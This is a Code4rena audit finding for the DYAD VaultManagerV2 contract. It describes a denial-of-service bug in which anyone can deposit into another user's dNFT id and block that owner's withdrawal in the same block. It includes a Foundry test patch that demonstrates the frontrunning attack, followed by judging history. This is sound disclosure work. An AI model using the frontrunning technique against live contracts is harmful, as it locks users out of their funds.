Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 178/183
Findings: 1
Award: $0.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
https://github.com/code-423n4/2024-04-dyad/tree/main/src/core/VaultManagerV2.sol#L143
The vulnerability in the smart contract poses a significant risk of DoS attacks. Despite idToBlockOfLastDeposit being introduced to protect against flashloan attacks, it exposes the contract to a DoS attack vector:
// Findings are labeled with '<= FOUND' // File: src/core/VaultManagerV2.sol 119: function deposit( ... 125: isValidDNft(id) 126: { 127: idToBlockOfLastDeposit[id] = block.number; // <= FOUND: anyone can set this state ... 131: } ... 134: function withdraw( ... 141: isDNftOwner(id) 142: { 143: if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); // <= FOUND: withdraw could be DOS-ed by frontruning a fake deposit to set idToBlockOfLastDeposit[id] to current block.number ... 153: }
From above snippet, the idToBlockOfLastDeposit
state only relies on the nft id to determine flashloan event. The lacking of msg.sender
tracking enables any user to frontrun a deposit
call to set value for idToBlockOfLastDeposit
and deny the withdraw
effort in the same block.
The attack is also inexpensive to carry out which potentially leads to the DNft Owner being unable to withdraw their deposits if the malicious actor keep repeating the attack.
Let us walk through the issue with the following scenario:
test_VaultManagerV2_withdraw_DOSed.patch:
diff --git a/test/fork/v2.t.sol b/test/fork/v2.t.sol index 349412f..bfe0e4c 100644 --- a/test/fork/v2.t.sol +++ b/test/fork/v2.t.sol @@ -7,6 +7,7 @@ import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; +import {Vault} from "../../src/core/Vault.sol"; contract V2Test is Test, Parameters { @@ -52,4 +53,32 @@ contract V2Test is Test, Parameters { uint denominator = contracts.kerosineDenominator.denominator(); assertTrue(denominator < contracts.kerosene.balanceOf(MAINNET_OWNER)); } + + error DepositedInSameBlock(); + function test_VaultManagerV2_withdraw_DOSed() public { + // Prepare owner's dNft & vault deposit + vm.deal(address(this), 100 ether); + uint id = contracts.vaultManager.dNft().mintNft{value: 1 ether}(address(this)); + address[] memory vaults = contracts.kerosineManager.getVaults(); + contracts.vaultManager.deposit(id, vaults[0], 0); + + // Actor deposit frontrun + vm.roll(10); + vm.prank(address(0x1)); + contracts.vaultManager.deposit(id, vaults[0], 0); + + // Owner's withdrawal reverts + vm.expectRevert(DepositedInSameBlock.selector); + contracts.vaultManager.withdraw(id, vaults[0], 0, address(this)); + } + + function onERC721Received( + address, + address, + uint256, + bytes calldata + ) external pure returns (bytes4) { + return 0x150b7a02; + } + receive() external payable {} }
VsCode
nonReentrant
modifier should be implemented to protect against flashloan attacksidToBlockOfLastDeposit
could be extended to track msg.sender
so that users could NOT dos eachother.DoS
#0 - c4-pre-sort
2024-04-27T11:30:42Z
JustDravee marked the issue as duplicate of #1103
#1 - c4-pre-sort
2024-04-27T11:45:45Z
JustDravee marked the issue as duplicate of #489
#2 - c4-pre-sort
2024-04-29T09:32:09Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-05T20:38:12Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:00:22Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:00:29Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:29:13Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:51:00Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:34:30Z
koolexcrypto changed the severity to 3 (High Risk)